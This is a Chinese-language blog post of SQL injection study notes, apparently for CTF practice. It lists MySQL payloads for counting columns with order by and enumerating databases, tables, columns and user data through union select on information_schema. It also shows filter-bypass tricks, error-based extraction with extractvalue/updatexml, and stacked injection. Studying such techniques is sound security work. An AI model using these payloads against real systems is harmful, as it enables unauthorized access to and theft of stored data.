sql injection
SQL injection
核心代码
SELECT * FROM users WHERE id=
类型
整数型
SELECT * FROM users WHERE id= 1
字符型
SELECT * FROM users WHERE id='1'
理想情况注入:
(有回显,没有过滤字符)
执行以下测试:
输入
1' order by 1#
或者1 order by 1#
、1' order by 2#
、1' order by 3#
……判断一共有多少列;通过union select database() 获得当前数据库(!union 联合查询必须字段一致,如上文只有两列,则需
union select 1,2
,而union select 1
会报错)获取所有数据库:
union select group_concat(schema_name) from information_schema.schemata
获取表名:
information_schema
union select group_concat(table_name) from information_schema.tables where table_schema= '$$$'#
$$$:database的名字
获取字段名:
union select group_concat(column_name) from information_schema.columns where table_schema= '$$$' and table_name='***'#
***: 表名
获取用户数据:
union select group_concat(###) from '***'#
###: 字段名
绕过
and/or ==> &&/||
双写绕过:如or ==> oorr 过滤之后:o
orr空格:使用
()
代替空格‘=’号:使用like代替
=
where table_schema = 'geek'
==>
where((table_schema)like('geek'))
union:
1 || (select user from users where user_id = 1)='admin'
||
管道符后边的意思就是,从users表中查找user_id = 1
的 user 数据是不是 adminwhere ==> limit
limit ==> group by
预编译绕过select
预编译相关语法:
1
2
3
4set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
xpath语法错误:
从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容:
它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里:
注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取;或者是由right()从右往左数
extractvalue(1,concat(0x7e,(select @@version),0x7e));
堆叠注入
定义
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
文章标题:sql injection
本文作者:Kyle
发布时间:2020-09-19, 15:18:05
最后更新:2020-10-22, 14:04:53
原始链接:https://silver2835.github.io/2020/09/19/sql-injection/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。